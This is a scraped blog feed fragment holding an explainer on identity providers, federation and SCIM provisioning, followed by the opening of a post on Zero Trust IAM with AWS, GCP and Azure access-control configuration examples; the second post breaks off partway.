    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>The Identity Stack, Episode 11</em><br />
<a href="/saml-vs-oidc-vs-oauth2/">EP10: SAML/OIDC</a> → <strong>EP11</strong> → <a href="/entra-id-linux-login/">EP12: Entra ID + Linux</a> → &#8230;</p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>An Identity Provider (IdP) is the system that authenticates users and issues identity assertions (SAML assertions, OIDC tokens) to applications</li>
<li>On-prem IdPs: AD FS (Microsoft), Shibboleth (universities), Keycloak (open source), Ping Identity — they sit in front of AD and speak SAML/OIDC to cloud apps</li>
<li>Cloud IdPs: Okta, Entra ID (Azure AD), Google Workspace, Ping Identity Cloud — they are the directory and the authentication layer in one</li>
<li>Federation: IdPs can trust each other — a corporate IdP can delegate to a cloud IdP, or federate with a partner org&#8217;s IdP</li>
<li>SCIM (System for Cross-domain Identity Management) is provisioning, not authentication — it creates/updates/deactivates user accounts in target systems when the source directory changes</li>
<li>The key distinction: federation (authentication flow) vs directory sync (data copy) — they solve different problems and are often deployed together</li>
</ul>
<hr />
<h2 id="the-big-picture-where-idps-sit">The Big Picture: Where IdPs Sit</h2>
<pre><code class="" data-line="">                        On-prem Directory
                        (Active Directory / OpenLDAP / FreeIPA)
                               │
                               │ LDAP / Kerberos
                               ▼
                         Identity Provider
                         ┌──────────────────────────────────┐
                         │  AD FS / Keycloak / Okta /       │
                         │  Entra ID Connect / Shibboleth   │
                         │                                  │
                         │  Speaks: SAML 2.0 + OIDC + OAuth2│
                         └────────────────┬─────────────────┘
                                          │ assertions / tokens
                      ┌───────────────────┼───────────────────┐
                      ▼                   ▼                   ▼
               Salesforce          GitHub Enterprise      AWS IAM
               (SAML SP)           (OIDC RP)              (OIDC)
</code></pre>
<p>EP10 covered the protocols. This episode covers the systems — what an IdP actually does, how the major ones differ, and how they connect to each other through federation and SCIM.</p>
<hr />
<h2 id="on-premises-identity-providers">On-Premises Identity Providers</h2>
<h3 id="ad-fs-active-directory-federation-services">AD FS (Active Directory Federation Services)</h3>
<p>AD FS is Microsoft&#8217;s on-prem federation server — a Windows Server role that sits in front of Active Directory and speaks SAML 2.0 and OIDC to external applications.</p>
<p>What it does:<br />
&#8211; Authenticates users against AD (Kerberos/LDAP behind the scenes)<br />
&#8211; Issues SAML assertions and OIDC tokens to external SPs<br />
&#8211; Handles claims transformation: maps AD attributes to what the SP expects</p>
<p>What it doesn&#8217;t do well:<br />
&#8211; It&#8217;s Windows Server only<br />
&#8211; Configuration is complex (XML, certificates, claim rule language)<br />
&#8211; No built-in MFA (requires Azure MFA or a third-party provider)<br />
&#8211; Being deprecated in favor of Entra ID for most use cases</p>
<p>AD FS made sense when everything was on-prem. As workloads move to cloud, Entra ID Connect (a lighter sync agent) combined with Entra ID as the IdP replaces AD FS for most enterprises.</p>
<h3 id="keycloak">Keycloak</h3>
<p>Keycloak is the open-source IdP from Red Hat. It&#8217;s what FreeIPA uses for web-based OIDC/SAML SSO, and it&#8217;s widely deployed independently for organizations that want full control over their identity infrastructure.</p>
<pre><code class="" data-line=""># Run Keycloak in development mode (Docker)
docker run -p 8080:8080 \
  -e KEYCLOAK_ADMIN=admin \
  -e KEYCLOAK_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:latest \
  start-dev

# Keycloak concepts:
# Realm     — an isolated namespace (like a tenant)
# Client    — an application that uses Keycloak for auth (SP/RP)
# User federation — connect Keycloak to an existing LDAP/AD directory
# Identity brokering — federate with external IdPs (Google, GitHub, another SAML IdP)
</code></pre>
<p>Keycloak reads users from AD/LDAP via its User Federation feature — it doesn&#8217;t replace the directory, it federates it. Users still live in AD; Keycloak issues SAML/OIDC tokens based on those users.</p>
<h3 id="shibboleth">Shibboleth</h3>
<p>Shibboleth is the dominant IdP in academia. Most universities run it. It&#8217;s SAML-native, designed for federation between institutions — a student can authenticate at their home university&#8217;s IdP and access resources at a partner institution.</p>
<hr />
<h2 id="cloud-identity-providers">Cloud Identity Providers</h2>
<h3 id="okta">Okta</h3>
<p>Okta is a cloud IdP + directory. It can:<br />
&#8211; Act as the primary user directory (storing users, credentials)<br />
&#8211; Connect to on-prem AD via the Okta Active Directory Agent (a lightweight sync service)<br />
&#8211; Federate with other IdPs (act as IdP or SP in a SAML/OIDC chain)<br />
&#8211; Enforce MFA, Adaptive Authentication, Device Trust</p>
<p>Okta&#8217;s Lifecycle Management handles provisioning: when a user is created/disabled in Okta (or synced from AD), Okta can automatically create/deactivate accounts in downstream SaaS apps — via SCIM or app-specific APIs.</p>
<h3 id="entra-id-azure-active-directory">Entra ID (Azure Active Directory)</h3>
<p>Entra ID is Microsoft&#8217;s cloud IdP. It&#8217;s both a directory (stores users, groups) and an IdP (issues tokens). For organizations running on-prem AD, Entra ID Connect syncs users from AD to Entra ID.</p>
<p>Entra ID is OIDC and OAuth2 native — it speaks SAML for legacy apps but JWT/OIDC for everything modern. Its OIDC implementation follows the standard closely; its token validation happens via <code class="" data-line="">/.well-known/openid-configuration</code> and the JWKS endpoint.</p>
<pre><code class="" data-line="">On-prem AD  →  Entra ID Connect (sync agent)  →  Entra ID (cloud)
                                                      │
                                              SAML / OIDC
                                                      │
                                            SaaS apps, Azure resources
</code></pre>
<h3 id="google-workspace">Google Workspace</h3>
<p>Google Workspace is Google&#8217;s combined directory + IdP. Google accounts are the users. Apps integrate via SAML or OIDC. Google&#8217;s OIDC implementation is one of the most widely used reference implementations — most OIDC libraries are tested against it.</p>
<hr />
<h2 id="federation-idps-trusting-each-other">Federation: IdPs Trusting Each Other</h2>
<p>Federation is the mechanism that lets IdPs delegate to each other. Two patterns:</p>
<h3 id="saml-federation-idp-to-idp">SAML Federation (IdP-to-IdP)</h3>
<p>Common in academia and partner integrations:</p>
<pre><code class="" data-line="">User at University A → requests resource at University B
                              │
                              │ doesn&#039;t know user
                              ▼
                    University B SP redirects to...
                    Discovery Service: &quot;which IdP are you from?&quot;
                              │
                              ▼
                    University A IdP authenticates user
                              │
                    Sends SAML assertion to University B SP
</code></pre>
<p>University B&#8217;s SP trusts University A&#8217;s IdP because both are members of a SAML federation (e.g., InCommon in the US, eduGAIN globally). The federation metadata aggregates all members&#8217; SAML metadata — certificates, endpoints — so members don&#8217;t have to manually configure each bilateral trust.</p>
<h3 id="oidc-identity-brokering">OIDC Identity Brokering</h3>
<p>Keycloak, Okta, and Entra ID can all act as identity brokers — they sit between the application and the actual authenticating IdP:</p>
<pre><code class="" data-line="">App (OIDC RP) → Keycloak (broker IdP) → Google / GitHub / SAML IdP
                                               │ authenticate
                                               ▼
                                      Keycloak receives assertion
                                      Maps external claims to local claims
                                      Issues OIDC token to app
</code></pre>
<p>The app only knows Keycloak. Keycloak handles the upstream IdP complexity.</p>
<hr />
<h2 id="scim-provisioning-authentication">SCIM: Provisioning ≠ Authentication</h2>
<p>SCIM (RFC 7644) is a REST API standard for user lifecycle management — creating, updating, and deactivating user accounts in a target system when changes happen in the source directory.</p>
<pre><code class="" data-line="">Source (Okta / Entra ID)           Target (Slack / GitHub / Jira)
         │                                    │
         │  SCIM 2.0 (REST + JSON)            │
         ├─ POST /Users  ─────────────────────► create user
         ├─ PATCH /Users/id ──────────────────► update attributes
         └─ DELETE /Users/id ─────────────────► deactivate account
</code></pre>
<p>SCIM is not SSO. A SCIM-provisioned user in Slack can log in to Slack — but the authentication still goes through the IdP (SAML/OIDC). SCIM ensures the account exists. The IdP proves the user&#8217;s identity.</p>
<p>Why both? Because SSO alone doesn&#8217;t create accounts in target systems — it just authenticates to them. If a user tries to log in to Slack for the first time via SSO, Slack needs an account to map them to. SCIM creates that account before the first login (Just-in-Time provisioning handles it at first login, but SCIM handles it in bulk and handles deprovisioning reliably).</p>
<p>Deprovisioning is where SCIM matters most. When an employee leaves, you disable them in Okta — SCIM deactivates their account in every connected app within minutes. Without SCIM, IT runs a manual checklist. Someone misses Jira. The ex-employee has access for three weeks.</p>
<hr />
<h2 id="directory-sync-vs-federation">Directory Sync vs Federation</h2>
<p>These are commonly confused:</p>
<p><strong>Directory sync</strong> — copy user data from source to target. Entra ID Connect copies users from on-prem AD to Entra ID. This is not authentication; it&#8217;s data replication. After sync, Entra ID has its own copy of the user record.</p>
<p><strong>Federation</strong> — delegate authentication to an external IdP. The target system doesn&#8217;t store credentials; it redirects to the IdP for authentication and trusts the assertion that comes back.</p>
<p>You often need both:<br />
&#8211; Sync: so the target system has the user record and can enforce policies (group membership, license assignment)<br />
&#8211; Federation: so the user authenticates against the source of truth (your IdP) rather than maintaining a separate password in every system</p>
<hr />
<h2 id="common-misconceptions"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Misconceptions</h2>
<p><strong>&#8220;SCIM is an authentication protocol.&#8221;</strong> SCIM is a provisioning protocol. It creates and manages accounts. Authentication is SAML/OIDC. Both solve different parts of the identity lifecycle problem.</p>
<p><strong>&#8220;SSO means you only have one password.&#8221;</strong> SSO means you only authenticate once per session. The password still exists (at the IdP). SSO reduces the number of authentication events, not the number of credentials.</p>
<p><strong>&#8220;On-prem IdP + cloud sync is the same as a cloud IdP.&#8221;</strong> With on-prem IdP + cloud sync (e.g., AD + Entra ID Connect), authentication happens via the on-prem IdP — if it goes down, cloud SSO breaks. A pure cloud IdP (Okta standalone, Entra ID without on-prem AD) authenticates entirely in the cloud.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Domain</th>
<th>Relevance</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP Domain 5: Identity and Access Management</td>
<td>IdPs are the central control plane for federated identity — their architecture, trust relationships, and provisioning workflows define the enterprise IAM posture</td>
</tr>
<tr>
<td>CISSP Domain 1: Security and Risk Management</td>
<td>SCIM-based deprovisioning is an access control risk management practice — without it, terminated employee access persists across connected systems</td>
</tr>
<tr>
<td>CISSP Domain 3: Security Architecture and Engineering</td>
<td>The choice of on-prem vs cloud IdP, federation vs sync, and SCIM vs JIT provisioning are architectural decisions with long-term operational and security implications</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>An IdP authenticates users and issues assertions (SAML) or tokens (OIDC/OAuth2) — applications trust the IdP, not the user directly</li>
<li>On-prem: AD FS (Windows/legacy), Keycloak (open source, flexible), Shibboleth (academia)</li>
<li>Cloud: Okta (cloud-native, strong lifecycle management), Entra ID (Microsoft-integrated), Google Workspace</li>
<li>Federation = authentication delegation between IdPs; Directory sync = data replication; SCIM = account lifecycle (provisioning/deprovisioning)</li>
<li>SCIM deprovisioning is the critical control — it ensures ex-employees lose access automatically across all connected systems</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 covered the IdP landscape. EP12 gets specific: Entra ID and Linux — how you configure a Linux VM to accept SSH logins authenticated against Azure AD credentials, and how the <code class="" data-line="">aad-auth</code> / <code class="" data-line="">pam_aad</code> stack works end to end.</p>
<p><em>Next: <a href="/entra-id-linux-login/">Entra ID Linux Login: SSH Authentication with Azure AD Credentials</a></em></p>
<p>Get EP12 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&amp;linkname=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fidentity-providers-explained%2F&#038;title=Identity%20Providers%20Explained%3A%20On-Prem%2C%20Cloud%2C%20SCIM%2C%20and%20Federation" data-a2a-url="https://linuxcent.com/identity-providers-explained/" data-a2a-title="Identity Providers Explained: On-Prem, Cloud, SCIM, and Federation"></a></p><p>The post <a href="https://linuxcent.com/identity-providers-explained/">Identity Providers Explained: On-Prem, Cloud, SCIM, and Federation</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/identity-providers-explained/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1802</post-id>	</item>
		<item>
		<title>Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</title>
		<link>https://linuxcent.com/zero-trust-iam/</link>
					<comments>https://linuxcent.com/zero-trust-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 17:06:46 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Security]]></category>
		<category><![CDATA[JIT Access]]></category>
		<category><![CDATA[Zero Trust]]></category>
		<category><![CDATA[Zero Trust Architecture]]></category>
		<category><![CDATA[Zero Trust IAM]]></category>
		<guid isPermaLink="false">https://linuxcent.com/zero-trust-iam/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>Zero Trust IAM architecture: eliminate implicit trust, enforce just-in-time least privilege, assume breach, and build continuous context-aware access verification.</p>
<p>The post <a href="https://linuxcent.com/zero-trust-iam/">Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit</a> → <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC Federation</a> → <a href="/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM</a> → <strong>Zero Trust Access in the Cloud</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Zero Trust: trust nothing implicitly, verify everything explicitly, minimize blast radius by assuming you will be breached</li>
<li>Network location is not identity — VPN is authentication for the tunnel, not authorization for the resource</li>
<li>JIT privilege elevation removes standing admin access: engineers request elevation for a specific purpose, scoped to a specific duration</li>
<li>Device posture is an access signal — a compromised endpoint with valid credentials is still a threat; Conditional Access gates on device compliance</li>
<li>Continuous session validation re-evaluates signals throughout the session — device falls out of compliance, sessions revoke in minutes, not at expiry</li>
<li>The highest-ROI early moves: eliminate machine static credentials, enforce MFA on all human access, federate to a single IdP</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  ZERO TRUST IAM — EVERY REQUEST EVALUATED INDEPENDENTLY

  API call arrives
         │
         ▼
  Identity verified? ──── No ────► DENY
         │
        Yes
         │
         ▼
  Device compliant? ───── No ────► DENY (or step-up MFA)
         │
        Yes
         │
         ▼
  Policy allows this  ─── No ────► DENY
  action on this ARN?
         │
        Yes
         │
         ▼
  Conditions met? ─────── No ────► DENY
  (time, IP, MFA age,              (e.g., outside business hours,
   risk score, session)             impossible travel detected)
         │
        Yes
         │
         ▼
       ALLOW ──────────────────────► LOG every decision (allow and deny)
         │
         └── Continuous re-evaluation:
             device state changes → revoke
             anomaly detected → revoke or step-up
             credential age → require re-auth
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>The perimeter model of network security made a bet: inside the network is trusted, outside is not. Lock down the perimeter tightly enough and you&#8217;re safe. VPN in, and you&#8217;re one of us.</p>
<p>I grew up professionally in that model. Firewalls, DMZs, trusted zones. The idea had intuitive appeal — you build walls, you control what crosses them. For a while it worked reasonably well.</p>
<p>Then I watched it fail, repeatedly, in ways that were predictable in hindsight. An engineer&#8217;s laptop gets compromised at a coffee shop. They VPN in. Now the attacker is &#8220;inside.&#8221; A contractor account gets phished. They have valid Active Directory credentials. They&#8217;re inside. A cloud service gets misconfigured and exposes a management interface. There&#8217;s no perimeter for that to be inside of.</p>
<p>The perimeter model failed not because the walls weren&#8217;t strong enough, but because the premise was wrong. There is no inside. There is no perimeter that reliably separates trusted from untrusted. In a world of remote work, cloud services, contractor access, and API integrations, the attack surface doesn&#8217;t respect network boundaries.</p>
<p>Zero Trust is the architecture built on a different premise: <strong>trust nothing implicitly. Verify everything explicitly. Minimize blast radius by assuming you will be breached.</strong></p>
<p>This isn&#8217;t a product you buy. It&#8217;s a set of principles applied to how you design, build, and operate your IAM. This episode is how those principles translate to concrete practices — building on everything we&#8217;ve covered in this series.</p>
<hr />
<h2 id="the-three-principles">The Three Principles</h2>
<h3 id="verify-explicitly">Verify Explicitly</h3>
<p>Every request must carry verifiable identity and context. Network location is not identity.</p>
<pre><code class="" data-line="">Old model: request from 10.0.0.0/8 → trusted, proceed
Zero Trust: request from 10.0.0.0/8 → still must present verifiable identity
                                       still must pass authorization check
                                       still must pass context evaluation
                                       then proceed (or deny)
</code></pre>
<p>In cloud IAM terms: every API call carries identity claims (IAM role ARN, federated identity, managed identity), and those claims are verified against policy on every single request. There&#8217;s no concept of &#8220;once authenticated, trusted until logout.&#8221; In cloud IAM, this already exists natively. Every API call is authenticated and authorized independently. The challenge is extending this model to internal services, internal APIs, and human access patterns.</p>
<p>Implementation in practice:<br />
&#8211; mTLS for service-to-service communication — both sides present certificates; identity is the certificate, not the network path<br />
&#8211; Bearer tokens on every internal API call — no session cookies, no &#8220;we&#8217;re on the same VPC so it&#8217;s fine&#8221;<br />
&#8211; Short-lived credentials everywhere — a compromised credential expires, not &#8220;after the session times out in 8 hours&#8221;</p>
<h3 id="use-least-privilege-just-in-time-just-enough">Use Least Privilege — Just-in-Time, Just-Enough</h3>
<p>No standing access to sensitive resources. Access granted when needed, for the minimum scope, for the minimum duration.</p>
<pre><code class="" data-line="">Old model: alice is in the DBA group → permanent access to all databases
Zero Trust: alice requests access to production DB →
            verified: alice&#039;s device is enrolled in MDM and compliant
            verified: alice has an open change ticket for this task
            verified: current time is within business hours
            granted: connection to this specific database, from alice&#039;s specific IP
                     for 2 hours, then revoked automatically
</code></pre>
<p>This is JIT access. It reduces the window where a compromised credential can cause damage. It requires a change in how engineers think about access: access is not a property you have, it&#8217;s something you request when you need it. The operational friction is a feature, not a bug. Justifying each elevated access request is what keeps the access model honest.</p>
<h3 id="assume-breach">Assume Breach</h3>
<p>Design systems as if the attacker is already inside. This drives different decisions:</p>
<ul>
<li>Micro-segmentation: one role per service, minimum permissions per role. If one service is compromised, it can&#8217;t pivot to everything else.</li>
<li>Log everything: every authorization decision, allow or deny. When you&#8217;re investigating an incident, you need to know what happened, not just that something happened.</li>
<li>Automate response: anomalous API call pattern → trigger automated credential revocation or session termination. Don&#8217;t wait for a human to notice.</li>
</ul>
<hr />
<h2 id="building-zero-trust-iam-block-by-block">Building Zero Trust IAM — Block by Block</h2>
<h3 id="block-1-strong-identity-foundation">Block 1: Strong Identity Foundation</h3>
<p>You can&#8217;t verify explicitly without strong authentication. The starting point:</p>
<pre><code class="" data-line=""># AWS: require MFA for all IAM operations — enforce via SCP across the org
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;*&quot;,
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;BoolIfExists&quot;: {
      &quot;aws:MultiFactorAuthPresent&quot;: &quot;false&quot;
    },
    &quot;StringNotLike&quot;: {
      &quot;aws:PrincipalArn&quot;: [
        &quot;arn:aws:iam::*:role/AWSServiceRole*&quot;,
        &quot;arn:aws:iam::*:role/OrganizationAccountAccessRole&quot;
      ]
    }
  }
}
</code></pre>
<pre><code class="" data-line=""># GCP: enforce OS Login for VM SSH (ties SSH access to Google identity, not SSH keys)
gcloud compute project-info add-metadata \
  --metadata enable-oslogin=TRUE

# This means: SSH to a VM requires your Google identity to have roles/compute.osLogin
# or roles/compute.osAdminLogin. No more managing ~/.authorized_keys files on instances.
</code></pre>
<p>For human access: hardware FIDO2 keys (YubiKey, Google Titan) rather than TOTP where possible. TOTP codes can be phished in real-time adversary-in-the-middle attacks. Hardware keys cannot — the cryptographic challenge-response is bound to the origin URL.</p>
<h3 id="block-2-device-posture-as-an-access-signal">Block 2: Device Posture as an Access Signal</h3>
<p>In a Zero Trust model, the identity of the user is necessary but not sufficient. The state of the device matters too — a compromised endpoint with valid credentials is still a threat.</p>
<pre><code class="" data-line=""># Azure Conditional Access: block access from non-compliant devices
# (configures in Entra ID Conditional Access portal)
conditions:
  clientAppTypes: [browser, mobileAppsAndDesktopClients]
  devices:
    deviceFilter:
      mode: exclude
      rule: &quot;device.isCompliant -eq True and device.trustType -eq &#039;AzureAD&#039;&quot;
grantControls:
  builtInControls: [compliantDevice]
</code></pre>
<pre><code class="" data-line=""># AWS Verified Access: identity + device posture for application access — no VPN
aws ec2 create-verified-access-instance \
  --description &quot;Zero Trust app access&quot;

# Attach identity trust provider (Okta OIDC)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type user \
  --user-trust-provider-type oidc \
  --oidc-options IssuerURL=https://company.okta.com,ClientId=...,ClientSecret=...,Scope=openid

# Attach device trust provider (Jamf, Intune, or CrowdStrike)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type device \
  --device-trust-provider-type jamf \
  --device-options TenantId=JAMF_TENANT_ID
</code></pre>
<p>AWS Verified Access allows users to reach internal applications by verifying both their identity (via OIDC) and their device health (via MDM) — without a VPN. The access gateway evaluates both signals on every connection, not just at login.</p>
<h3 id="block-3-just-in-time-privilege-elevation">Block 3: Just-in-Time Privilege Elevation</h3>
